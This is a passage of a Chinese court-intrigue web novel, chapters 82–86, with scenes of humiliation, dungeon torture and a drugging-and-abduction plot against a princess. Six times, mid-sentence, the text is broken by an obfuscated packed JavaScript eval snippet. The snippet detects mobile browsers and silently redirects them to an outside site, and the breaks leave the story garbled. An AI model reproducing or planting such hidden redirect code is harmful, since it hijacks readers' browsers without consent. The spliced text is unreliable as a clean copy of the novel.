“给王爷烧水,王爷要沐浴!” 往日里伺候萧子景沐浴的是冬生,听着隐风冷冰冰的声音,冬生小心翼翼地抬起头来。 “王,王爷习惯让小的……” 一句话还没说完,几道眼刀子便剐了过来。 “怎么,打算让王爷也收用了你?” 隐风面无表情,说出来的话却让屋中鸦雀无声。 毕竟是九千岁的手下,隐风丝毫没有觉得有什么不对的地方。 冬生却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497494|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地打了个寒战。 说起来,王爷和那位梁大人说话的时候,也总是让自己退到屋外伺候来着。 难道…… “你给本王闭嘴!休要胡说八道!” 萧子景额头上青筋迸起,肩膀已经被捏得没了知觉,却还是硬撑着开了口。 “本王不需要沐浴,也不是,不是——” 气喘吁吁地挣扎着,萧子景怎么也说不出那几个字。 叶晚竹这个**,用这样的方法折磨他! 无论萧子景有多气愤,最终还是被隐风押着进了浴房,几乎搓掉了一层皮才放了出来。 全身通红发烫,就连往日干净轻薄的中衣穿在身上,都仿佛是酷刑一般。 萧子景有那么一瞬间当真产生了错觉,他好像真做了什么臭不可闻的事情似的。 隐风完成了叶晚竹交代的任务,便头也不回地离开了,屋中一片寂静,萧子景裹着毯子坐在床边,浑身后知后觉地开始颤抖。 日后,别人会怎么看他? 还有,去梁府打秋风的事情是再也别想了,剩下那两位同僚,恐怕也不会再让他登门。 王府库房空虚,连白菜豆腐都快吃不起了,他该怎么活下去? 大梁唯一的外姓王皱着眉头,不知不觉间,仿佛又变回了破落户萧老二。 不知思考了多久,房门被人小心敲响。 萧子景猛地回过神叫进,片刻的沉默过后,冬生小心翼翼地探身进来。 “王,王爷……” 萧子景脸色一沉。 这个没出息的小厮,被叶晚竹的侍卫吓得屁滚尿流,连维护他都做不到! “什么事!”他语气分外不善。 冬生依旧缩着脖子,动作越发小心翼翼。 “王爷,您让人去查的东西,有线索了……”他轻声道。 萧子景没注意到冬生停下脚步的位置比平时远了好几步,正全神贯注于他的话中,一双眼瞬间充满了光亮。 萧延见到了潇湘院里那个野种的模样,他便差人到京中去暗访了。 “如何?”萧子景迫不及待地道。 第八十二章 怎么不是野种! 今日遭遇的一切,都是拜叶晚竹所赐,萧子景已经控制不住要扳回一城的迫切心思了。 他要让叶晚竹比自己还惨百倍,千倍! 在萧子景目光灼灼的盯视下,冬生战战兢兢地开了口。 “那,那就是京城里的一个小乞丐……” “怎么可能!” 萧子景猛地从床上站了起来,瞪着双眼朝冬生看去。 “怎么可能?”他重复着,“叶晚竹疯了,为了一个乞丐,把延儿伤成那个样子?” 冬生嘴唇哆嗦着,不敢再开口,萧子景一句话毕,自己又颓然地垂下了目光。 叶晚竹难道不疯? “你们可查清楚了?”他犹不甘心,再次问道。 冬生的脑袋都快埋进胸口里去了,却还得扬起声音。 “王爷,这,这是真的,那小乞丐全家早就没了,从前也根本和王妃没有来往……” 小花有名有姓,身家背景都清楚无比,就是再怎么查下去,也找不到王妃身上啊。 况且,王爷离开的这几年间,王妃也没有长期离开王府的记录,众目睽睽之下,怎么怀孕生女? 听完这话,萧子景抄起桌上的杯子,狠狠丢在地上砸了个粉碎! 不是和奸夫生下的野种! 那他还怎么对付叶晚竹? 难道就要自己咽下这个委屈? 王府外的那些议论似乎又在耳边回响,萧子景目光狂乱,再次站起身快走几步,却碰到了冬生担忧的目光。 那眼神里似乎还掺杂着些别的情绪。 “你也相信叶晚竹编的鬼话,是不是?” 萧子景难以置信地盯着冬生身体僵硬的模样,而后勃然大怒! “滚,滚出去!现在就滚!” 他又不知道抄起了什么东西砸向冬生,冬生慌忙后退两步,赶在萧子景砸第三下之前,没命地冲到了卧房之外。 房门关上,乒乒乓乓的动静立刻接连不断地响了起来。 冬生惊魂未定地靠在门板上大口喘气,额头被砸到的地方破了皮,鲜血正顺着脸颊流下来。 主子这次气得着实不轻,也不知道会怎么罚他? 他也不是故意要这么想的,实在是隐风那话…… 屋中打砸声音不停,冬生的胡思乱想也跟着越发激烈。 不知过去多久,脚步声从身后响起。 冬生猛地一扭头,“阮,阮姨娘……” 阮莹莹蹙着眉头站在廊下。 “我来看看王爷,你们都退下吧。”她扫视着院中的下人们。 这会儿,屋中的声音依旧没停,一众下人本就瑟瑟发抖着,闻言忙不迭地转身往外走去。 冬生走在最后,要离开之前,才被阮莹莹又叫住了。 “传言的事情,你去处理干净,不许让默言阁的任何人再提起!” 阮莹莹的眼神很冷,透着一股狠辣的坚决。 “若是敢让王爷再听见一个字……” “小的明白,小的明白!” 冬生连连点头哈腰,压下所有心绪,大步离开。 目送着所有人走出院落,阮莹莹这才转回目光,面上显出了温柔而忧虑的神情。 这段时间,萧子景仍是没有再去春风居过夜,不仅如此,连白天过去的次数都少了许多,瞧着也总是一副心不在焉的模样。 阮莹莹是不会相信什么断袖龙阳之说的,萧子景对她这般冷淡,只怕是因为那些私房银子。 贫贱夫妻百事哀,果真如此。 可王府又不是当真穷困潦倒,都是因为叶晚竹才会如此! 等解决了叶晚竹,王府迟早都要重新辉煌起来,她可不能就这么让萧子景疏远了自己。 还没等阮莹莹想好办法,没想到,现成的机会竟然就这么自己找上门来了! 定了定神,阮莹莹轻叩房门。 “王爷?”她柔声道,“妾身来看您。” 屋中声音稍歇,萧子景却没出声,阮莹莹心一横,直接推门走了进去。 满地狼藉,萧子景衣冠不整,神情难看地坐在床边。 他看向阮莹莹的眼神满是戒备。 连冬生都相信了叶晚竹编出来的那些鬼话,莹莹她—— “王爷受伤了!疼不疼?” 阮莹莹皱着眉头快跑进屋中,跪坐在萧子景身边,一把捧起他被碎瓷片割伤的手臂。 “王爷也真是的,识人不清,就当吃一堑长一智罢了,怎么好如此折磨自己?”她嘟起嘴,“那梁大人居心叵测,与王爷有何干系?” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504141|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边埋怨着,阮莹莹又连忙起身去拿药箱过来。 萧子景看着她的动作,神情不明。 “你相信我?”他迟疑了半晌,看着阮莹莹替他小心包扎着伤口,这才问道。 “王爷在说什么胡话呢?” 仰起头斜晲着萧子景,阮莹莹嗔怪道,“王爷是什么人,妾身再清楚不过,怎么会因为一点流言蜚语,就不——” 她的话还没说完,人便被萧子景一把扯过,猛地抱进了怀中。 “莹莹……”萧子景把脑袋深深埋进阮莹莹肩头,“本王就知道,你一定会相信我的!” 阮莹莹反抱着男人,心里的大石头也落了地。 察觉到萧子景急促的呼吸,她又在男人背上一下下地轻拍起来。 足足过了半柱香的光景,萧子景才渐渐平复了心绪,呼吸重新变得和缓。 阮莹莹的手微妙地一顿。 “王爷,”她小心地措着辞,“好端端的,梁大人为什么要这般败坏您的名声?他对您不是向来敬佩得很吗?” 听见这话,萧子景的后背又是一僵。 “是叶晚竹!” 他咬牙切齿的声音闷闷地传了上来。 “这个**,她看不得本王舒服一点!” 好不容易才能吃上的饱饭,如今又没影儿了! 也不知道阮莹莹手里还有没有私房钱。 想到这儿,萧子景抬起头,眼中深情款款。 “莹莹,多亏有你!” 阮莹莹同样眼眶微红,顺势倒在萧子景怀中。 “妾身自是相信王爷,可京中人愚昧,若是不尽快解决此事,只怕对王爷的清誉有损啊。” 喃喃低语着,阮莹莹眼中闪烁着刺眼的光芒。 不能再让叶晚竹这么闹下去了。 她可不想给一个身败名裂,遭人嫌弃的男人当妻子! 萧子景重重地叹了口气。 “那**的确该死,可她手段了得,让本王抓不住半点把柄!” 心下苦闷,他一股脑地把小花的事情倒了出来。 阮莹莹听着却转了转眼珠。 “不若王爷再仔细查查?万一是姐姐早有准备,隐去了那孩子真正的背景呢?” 萧子景眼中闪过一丝暗色。 第八十三章 显了原形的梁大人 与此同时,东厂之中。 屋外阳光明媚,地下水牢却阴森逼仄,黑压压的,点着烛灯也还是一片昏暗。 偌大的池子里水波荡漾,一个满身是伤,衣衫褴褛的人正挂在当中,半个身子被浸泡着。 他奄奄一息地垂着头,周身的水面也被血色染红。 “冯大人,别睡啊。” 水池这边寒冷湿滑,五步开外的墙边,谢无咎倚在精致华美的软塌上,柔声说着话。 他一身红袍妖冶,长发披散,手边小几上放着热茶和点心。 若是忽略周遭的场景,九千岁大人仿佛正在午间小憩。 “看来是这池子泡得太舒服了,”谢无咎看着眼前人一动不动的模样,眯起双眼,“去,给冯大人醒醒神。” 守在池边的黑袍手下立刻抄起一人多高的铁棍,隔着水面狠狠拍在冯大人背上。 闷哼一声,冯大人被迫睁开双眼,先呕出一大口血水! “大人,本督这地方,您享受得可还好?” 谢无咎笑眯眯地坐直了身子,目光在冯大人身上来回打量。 “听说您已经泡了五天五夜,还没开口,是乐不思蜀?可惜这池子紧俏得很,还得伺候下一位,只能有劳您老人家抓紧时间交代了。” 冯大人勉强睁开一只眼睛,看着谢无咎,却忽然哂笑起来。 “九千岁吉祥,”他说话呼哧带喘,“那对乌鸦,看来您十分满意,否则,也不能这样热情地招待本官,是不是?” 正是顺着那送鸟的小贪,谢无咎才查到了这位冯大人。 “只是对你这个阉贼不满,便要被抓到水牢以酷刑相待,谢无咎,你果然是个卑鄙小人!”冯大人用尽力气说着话。 “或许吧。” 谢无咎神情淡淡,不以为意。 “不过呢,本督当了卑鄙小人,那可就不能同时再当傻子,被大人糊弄了。” 他轻笑着朝水池边缘上前几步。 “大人送本督一对傻鸟,就为了出口气,这样的事,您自己相信吗?您背后那人是什么用意,大人难道没想过?” 冯大人忽然安静下来,连呼吸也跟着一滞。 “还是说,大人也觉得自己的命不值钱,除了给本督制造混乱,拖延时间以外一无是处?”谢无咎歪了歪头。 “事到如今,大人不会还在想着那人会救你出去吧?” “我听不懂你在说什么!”冯大人的语气十分生硬。 谢无咎定定地看着他。 “本督只给你这一次机会,”他的声音冷下几分,“交代一切,本督可保你一条性命,我向来说到做到。” 冯大人冷笑了一声。 “阉贼,若是要在你那缺斤短两的胯下卑躬屈膝才能苟活,我宁可死得堂堂正正!” 谢无咎“哈”地笑了起来。 “给脸不要。” 他摇摇头,一面示意左右松开绑在冯大人身上的铁链,任由他咚地砸进水中,一面从袖子里抽出一个竹筒。 拔开盖子,嘶嘶的吐信声立刻传了出来。 “冯大人泡了五天的池子,身子骨都该疲乏了,”谢无咎垂着头,手一松,将那条蛇甩进水池,“临死之前活动活动吧,免得皮肉粘连。” 那蛇花纹炫目鲜艳,一看就有毒,冯大人惊恐万状地嘶吼起来。 他试图朝池边游去,却被几根铁棍无情挡住。 一时间水花阵阵,扑腾得格外热闹。 谢无咎乘着这热闹的余韵走出水牢,朝候在一旁的隐月招了招手。 “一会儿把冯大人那身皮剥得好看点,别东一块西一块的,尤其是脸,末了放到冯府门外去,晒干再让人收拾,也算满足一下大人的遗愿吧。” 堂堂正正嘛,就得一览无余。 “属下明白!”隐月勾着嘴角。 这些贪官污吏,都是畜生披着张人皮,都剥得干干净净才算好! 挥挥手让隐月去办差,谢无咎又往前走了几步,隐翼便绕了过来。 “主子,”他一躬身,“王妃已经回府歇下,事情暂告一段落了。” 谢无咎退下腕间的佛珠捻了捻。 “走,前面说话,你给本督仔细讲讲。” 今天发生在梁源身上的事情那样热闹,九千岁没道理一无所知。 谢无咎方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504142|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才忙着要审问冯大人,只能暂且先将此事搁在一边。 隐翼身上的伤早已经全好了,经过上次,他如今办事也越发小心牢靠,只暗中观察,不敢再随便插手。 将整件事情细细讲了一遍,隐翼终于收声的时候,已经过去了两炷香左右的功夫。 谢无咎听得笑出了眼泪,歪倒在椅子上乐不可支。 “景平王真是好福气啊,左拥右抱,一个也不落下!” 隐翼低着头,嘴角也忍不住跟着抽动了几下。 他着实没想到,景平王妃竟然能想出这样的办法。 “不过……” 笑声渐收,谢无咎慢慢支起身子,面上显出一抹慎重。 隐翼一愣,也跟着全神贯注起来。 “梁源这样的货色,怎么能当上太仆寺少卿?” 又开始捻动手中的珠串,谢无咎喃喃自语着。 太仆寺是个没多少油水的地方,整日养马驯马的差事,养尊处优惯了的官员也不想碰。 东厂在朝中几番清洗调查,都没在太仆寺发现什么问题。 可看这个梁源对上叶晚竹的表现,此人分明是个脑子缺根筋的无赖,就算没牵涉到什么案子里,也不该寂寂无名,泯然众人,甚至连一点印象都没在谢无咎脑海中留下。 “此人何时就任的?”他掀起眼皮看着隐翼。 隐翼立刻从怀中取出一份文档递了上去。 发觉梁源带人找上景平王妃,隐翼便将这位查了个底朝天。 “一年又五个月,”谢无咎窝进椅子里,“一个这么喜欢没理搅三分的赖皮,竟然在任上安静了这么长时间?” 要么,这梁源是个只会欺软怕硬的怂包软蛋;要么,就是在有意伪装了。 “再去查查,这位梁大人,还做过些什么事。”谢无咎搁下那份文档,用关节轻轻地在上面叩了叩。 如今的景平王妃也敢去招惹,谢无咎不觉得梁源像是个能隐藏自己的人。 那么……是什么让他忽然显出了原形。 谢无咎眯了眯眼。 “此事有些蹊跷,这段时间,你重新看着王妃院中,一切小心。” 第八十四章 事情不对! 叶晚竹演了一出好戏,给京中又增添了不少谈资,作为“受害者”,这几日自然要待在王府之中,安心静养。 隐风会将外面的消息报告过来,几天过去,梁府也学着景平王府一般闭门谢客,沉默之下,那讨论的浪潮却依旧不能止歇。 毕竟,景平王爷刚刚因为暗害王妃之事闹起过不小的波澜,如今又和龙阳之好扯上了关系。 再想想同样引起过议论的阮姨娘…… 这位景平王爷的生活,真是相当丰富啊。 “京中流言纷纷,不过仅限于民间,宫中并未听说有什么反应。”隐风末了总结道。 叶晚竹闻言也并不意外。 这样的丑闻,又是私事,恐怕也没人会闲得无聊,主动捅到昭德帝眼皮子下面去。 不过,即便如此,倒也够了。 顶着男女不忌的这个名声,萧子景的日子只会更难过。 而叶晚竹要的就是这个。 让隐风退下,她站起身,不紧不慢地往小花屋中去。 小花醒来后便脱离了危险,只是毕竟失血过多,当小乞丐又吃不饱,穿不暖,在叶晚竹这里养了这么些日子,也没见长出多少肉来。 她的精神也没完全恢复,叶晚竹进屋的时候还在沉睡。 特意派来照顾小花的嬷嬷见着叶晚竹前来,上前两步压低了声音。 “小花姑娘方才又说,想离开王府呢。” 叶晚竹闻言有些无奈。 那晚之后,萧延虽然在潇湘院附近又转悠了几回,但没再进得来,可小花却还是总想着要走。 “大夫怎么说?”她看着一动不动的床帏。 “身体亏空得很,若是不好好休息,日后怕是要留病根的。” 陈嬷嬷又叹了口气。 好好的孩子,怎么就被世道折腾成这个样子! 叶晚竹也皱了皱眉,正要说话,书画忽然从外面跑了进来。 “王妃,赵夫人差人送信,想和您见一面呢!” 赵夫人已经清醒过来了? 叶晚竹有些讶异地转过身子。 遭了梁源那样一番毒打,又被关在柴房数日,赵夫人的情况十分不好,勉强才吊住了一条性命。 听说她已经被接回赵家休养,叶晚竹便没过多打听,没想到赵夫人今日会送来消息。 算算时间,这才不过**日过去。 一边盘算,叶晚竹一边拆开书画递来的信封。 信中口吻的确是赵夫人,说自己刚刚醒来,知道是叶晚竹救了她,想请她过府,自己和家人都想给叶晚竹道谢。 “外面的马车上确实刻着赵家的标识,”书画歪着头,“还带来了赵夫人的信物。” 她又将一个香包取出,清幽的梨花香气顿时弥漫开来。 是蕴秀阁售卖的香粉,刚开业的时候,叶晚竹给那几位夫人府上都送去了一份。 “走,去看看她也好。”思忖片刻,叶晚竹点了点头。 等她来到王府大门前,这里却是空空如也。 “马车呢?”隐川冷眼看向守门的小厮。 都说了王妃要出门,马车怎么还不到? 那小厮打了个哆嗦,看着叶晚竹的时候,脸色惨白。 “王,王妃……”他好像鼓起了全身的勇气,“王爷说,说府里养了太多闲人,将他们都遣出了府,如今只有一辆马车,被王爷外出访友乘走了……” 他的话还没说完,叶晚竹便冷笑了起来。 这几日她闭门不出,萧子景却整日在外面东奔西跑,恨不得将认识的同僚好友,全都拜访个遍。 他要欲盖弥彰也就算了,叶晚竹权当看笑话,倒是没想到,萧子景还暗中留了一手阴的。 早不遣散晚不遣散,偏挑这个时候,这是要故意跟她唱对台戏,给她找不痛快? 萧子景的手段已经无聊到这种地步了? “景平王妃!” 一个圆脸的小厮这时候从赵家的马车上跳了下来。 “小的就是奉夫人之命来接您的!”他笑得一脸喜庆,“夫人刚醒不久,一直念叨着要见您呢!” 这倒是正好,叶晚竹便带着书画上了马车,一路往赵府而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504143|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景平王府位置幽静,赵府却在几条街外的巷子里。 马车刚拐入一条小巷,便忽然被几个流氓地痞模样的男人前后拦住了。 为首之人流里流气地吹了声口哨。 “兄弟们手头有点紧,看你们这马车好像不错,里面坐着的应该是谁家的主子吧,借我们点银子花花?” 赵府的小厮勒住缰绳,表情难看。 “让开,”他震声道,“否则,后果自负!” “诶呦?”为首之人扬起声音,“还挺厉害,你能怎么着?有本事下来说话啊!” 叶晚竹听着双方你一言我一语,又从车帘后看着从四面八方的巷子里不断涌出,越来越多的流氓们。 赵夫人的娘家在京中算不上多显贵,这辆马车便也透着朴素,又不至于显得穷困,难怪会被地痞流氓盯上。 “他们布了绊马索和陷阱,”隐川收回目光,“是有备而来,王妃,还是我等去处理吧?” 赵府这驾车的小厮嘴皮子不够利索,也敌不过这么多流氓,被哽得说不出话。 流氓们也开始蠢蠢欲动地往车身这边靠拢,似乎是想冲上马车抢银子。 这些乌合之众,成不了什么气候,只消隐风隐川下车现身,恐怕就会落荒而逃了。 叶晚竹刚点了点头,一个念头忽然闯进脑海。 今天这趟出行,怎么如此波折? 后背猛地窜上一阵凉气,她低呼,“等等——” 好像有点不对劲! 隐风隐川也几乎在同时止住了要下车的动作,齐齐反身向叶晚竹护来! “小心!” 车厢之外,那些地痞流氓们忽然齐刷刷扑了上来,不由分说地将十几个黑色圆球丢了进去。 白色的烟雾瞬间炸开,片刻之后,被包裹其中的人全都无声无息地倒了下去。 待到烟雾散尽,车外躺倒一片,车中静寂无声。 一个身穿黑衣,头戴帷帽的人影从另外一条小巷中快步走出,来到车厢边,小心翼翼地伸头看了一眼。 “都昏过去了,换马车,走!” 第八十五章 是你? 刚入夜,京城某处民居中,一个鬼鬼祟祟的身影钻了进来。 “可算是来了,怎么有好事还磨磨蹭蹭的!” 开门的人一边上下打量此人,一边嫌弃地道。 “谁让你们选了这么个鸟不拉屎的地方!”来人的语气也好不到哪里去,“我找错三次,差点儿被人家打出去!” 他看了看幽静的院子,语气一沉,又变得有些暧昧。 “这事……真能行?” “放心吧,万无一失!” 开门那人也低声发笑,黏腻中透着不怀好意。 “这女人不知道惹了什么大人物,没人会救她的,你到时候跑快点,省得挨打就行了。” 两人相视一笑,眼神心照不宣。 “去吧,一定记得啊,多弄点痕迹。” 留下一句话,那人起身离开,临走时还又拍了拍来人的肩膀。 将院门锁好,来人这才搓着手,紧张又期待地朝唯一亮着灯的屋中走去。 昨日狐朋**忽然找上他,说有人花钱让他睡姑娘,只需要他到时候假扮奸夫嚎上几句。 竟然有这种好事? 他本还半信半疑,可一半的银子先到了手,管他三七二十一,来看看就对了。 反正他作为一个资深流氓地痞,平时挨打也是白挨,可没人又给银子又给女人。 不亏! 屏住呼吸,他轻轻推开房门。 屋里十分安静,床帐被放了下来,隐约可见里面有个人影。 异香传来,此人深吸一口气,不知不觉便快步走到床边,一把将帐子掀开—— “嗷!” 疼痛自下身传来,瞬间将绮思一扫而空,他控制不住地惨叫着,又在对上一双熟悉的眼睛时愣住了。 “王……景平,景平王妃?” 二狗难以置信地看着床上的女人,又猛地扭头朝外看。 刚才那兄弟说了什么? 惹了大人物,没人管的女人? 他眼前这位? 是谁疯了? 叶晚竹一击的中,本要再次出手,见状也难得愣了愣。 “怎么是你?”她眯着眼睛看去。 在赵家的马车上被暗算,叶晚竹再一醒来,就发现自己被关在了这个陌生的房间里。 那些流氓果然是有备而来! 不过他们本事不够,下的药也不够,让叶晚竹一早醒来便挣脱了束缚。 她已经在这里等了许久,还以为那暗算之人会现身。 没想到来的竟然是二狗。 说起来,他还帮她从柳汝兰手中要来过五千两银子。 此人算不上什么好东西,但倒是个有眼色的。 “你干的?”叶晚竹用眼神朝屋中示意,语气凉凉的,又带着戏谑。 二狗扑通一声就跪了下去。 “不是我啊,王妃,我……小的被那帮龟儿子骗了!” 又惊又慌,二狗这会儿还很愤怒,死死地攥着拳头,咬牙切齿,气得眼睛都红了。 这是谁不想活了,居然骗他来假扮景平王妃的奸夫! 荒谬! 王妃就算真有奸夫,那能轮得着他吗! 下身的疼痛还在继续,二狗生怕自己又触怒这位活祖宗,一边邦邦磕头,一边把自己知道的东西叽里呱啦地全说了出来。 “……小的该死,小的这就走,王妃您大人有大量,留小的一命,等过两天,小的就把这群狗贼一个一个抓出来,送到您面前!” 眼泪鼻涕横流也顾不上擦,二狗心惊胆战地说着话。 上方,叶晚竹的声音过了一会儿才传来。 “这院里还有没有人?”她声音低沉,“你那些好兄弟呢?” 二狗哆嗦得越发厉害,“都,都走了,外面没人!” 按照计划,这院子就是女人和奸夫惯常幽会的地方! 还有,那些不是他的好兄弟! 从今天开始,他二狗跟这帮孙子不共戴天! 一群傻子!干坏事之前,也不知道查查! 景平王妃是他们能惹得起的吗! 这些话他是不敢在叶晚竹面前说的,二狗额头抵着地面,在心里千求万求。 老天保佑,让王妃放他走吧! 好端端的,为什么要惹这位煞神啊! 叶晚竹垂眸看着二狗拱起的后背,又过了片刻才开口。 “我身边的丫鬟和护卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508104|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你都还认识吧?” “找到他们,带过来,今天这件事我就不计较了。” 二狗哆嗦着的后背有一瞬僵硬,可马上又顺从地软化下去。 “王妃您放心,”他的语**腿起来,“小的马上就去,保证帮您把事情办得利利索索的!” 景平王妃眼下是遭了暗算,孤立无援不假,可二狗那大胆的念头也只在心里晃了一下,便立刻被他按了下去。 他还没活够呢! “那就去吧。” 见他识趣,叶晚竹这才松开藏在袖中的**,又将此物丢到二狗面前。 “若是本王妃没有猜错,我的人这会儿应该被看管起来了,你机灵些,不要闹出动静。” “拦路的人,只要拿不准,就都杀了,只要是这把**的痕迹,本王妃都帮你处理干净。” 二狗战战兢兢地捡起**,一边点头,一边出了一身的冷汗。 还好他刚才没有犯糊涂! 王妃果然还有后手! 等二狗战战兢兢地离开,叶晚竹撑了许久的那口气才一泄。 她身子一软,有些无力地倚在床边。 那些流氓地痞提前在屋中点了催情的香料,下的不算重,但也让叶晚竹头晕眼花。 定了定神,她深吸一口气,重新起身给自己倒了杯冷水。 希望二狗动作快些,别让她熬得时间太长。 另一边,二狗踉踉跄跄地离开民居,还没等跑出这条偏僻又逼仄的巷子,眼前黑影一晃,紧接着他就被一脚踹飞了出去! **当啷一声落了地,被那黑影捡起,片刻后,他上前两步,拎着二狗的头发将人拽了起来。 “这东西从哪儿来的?” 黑影声音轻柔,二狗却浑身哆嗦,阵阵寒意骤然翻涌起来。 这又是哪位神仙? 是不是王妃的救兵? 他说还是不说啊? “啧。” 二狗犹豫的时候,那黑影却已经没耐心了。 “杀了,先挖眼睛。”他将二狗往身后抛去。 惨叫一声,二狗重重地撞上什么,还没等睁眼,一个声音从头顶传来。 “是你?” 第八十六章 愿与王妃同甘共苦 叶晚竹刚回到床上躺好,便听见房门被推开的声音。 二狗这么快就回来了? 不对,大门反锁,此人怎么进来的? 叶晚竹伸手抄起茶杯—— “王妃。” 谢无咎笑吟吟的声音忽然在屋中响起。 “可别误伤了本督。” 下一刻,他缓缓走出,一身玄袍仿佛要与身后的黑暗融为一体。 “九千岁怎么来了?”叶晚竹不由得松了口气。 “先前忙得很,总顾不上与王妃相约,好不容易才有些空闲,没想到……” 谢无咎束着双手,说话不紧不慢,仿佛对眼前的情形视而不见似的。 “王妃眼下感觉如何?”他却又抬眸朝叶晚竹看来。 她感觉如何? 叶晚竹皱着眉头。 好不到哪里去! “屋里有药,九千岁若是得闲,不如将窗户打开。”她勾了勾唇,眼前又闪过一阵晕眩。 “有药?” 谢无咎这时候忽然瞪大了双眼,表情甚是讶异。 他忽然捂住胸口,身子一软往叶晚竹这边倒了下来,口中还喃喃低语着。 “不好,一时不察,竟然中招了,好烈的药性……” 这前后变化太快,叶晚竹就算再头晕眼花,也很难相信这位的鬼话。 “九千岁这是要做什么?” 全身乏力,说不出的难受,叶晚竹对上谢无咎的时候,也连带着没了多少好声气。 “恐怕九千岁刚一进屋便闻到了吧,为何要这般戏弄于我?” 她语气不善,谢无咎听去却没有任何要发怒的迹象。 “本督愿与王妃同甘共苦,以示……情谊非凡。” 被叶晚竹一语拆穿,谢无咎也并未起身,而是索性展开手脚,仰面朝天躺在了床上。 本就不大的床铺几乎被他占满,显得有些逼仄起来。 他长发披散,侧着脑袋看向叶晚竹。 “同甘共苦?” 叶晚竹靠着床头轻笑一声,忽然俯下身子,朝谢无咎靠近了几分。 “九千岁大人这话倒真是让妾身开始好奇了,您真能和我同甘共苦吗?” 催情香对太监也有用? 叶晚竹还从来没想过这个问题。 可她垂眸看去,却见谢无咎面上已经浮起一层淡淡的薄红,眼底也泛着柔光,显然是被药效影响所致。 还真有用? 还是说…… 叶晚竹面上飞快闪过几番思绪,谢无咎看在眼中,哑声笑了起来。 “王妃现在可相信本督的话了?”他气息有些不稳,“还是说,王妃还想验证一下?” “你……” 张了张口,叶晚竹眼底又闪过了更深的疑虑。 听说宫刑极为痛苦,被净身之后,大多无人愿意提起此事。 可这位九千岁未免也太过坦荡了些。 叶晚竹的眼神控制不住地朝下滑落…… “王妃真要试试?” 谢无咎一直睨着她的动作,见状,语气也有些莫名。 这屋里的香料后劲不小,谢无咎定了定神,刚要再说些什么,余光里,叶晚竹猝不及防地探手下去。 “唔——” 闷哼一声,谢无咎难得瞪大了双眼,露出不知道多久没见过的惊愕! 叶晚竹势如闪电,动作飞快,摩挲后抽回自己的手,也是一脸惊魂未定! 这—— 还不等思考,谢无咎忽然一把攥住了她的手腕。 “王妃真是……好胆魄啊。” 谢无咎似乎是隐隐咬紧了牙关,看向叶晚竹的时候,眼底满是化不开的黑沉。 事都做下了,叶晚竹反而露出一个笑容。 “不及九千岁大人万分之一。”她眨了眨眼。 谢无咎沉默片刻,放声大笑了起来。 “王妃言之有理,”他半晌才收声,“不过……王妃如此惊吓本督,是不是该补偿我些什么东西?” 翻身撑起上半身,谢无咎盯着叶晚竹,又变得虎视眈眈。 叶晚竹仍然在笑,语气淡淡。 “比如……让都督心安?” 回望着谢无咎的眼睛,阵阵晕眩已经铺天盖地地袭来,叶晚竹却依旧掩饰着,不动声色。 “妾身最会保守秘密,都督救我数次,为报答您的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 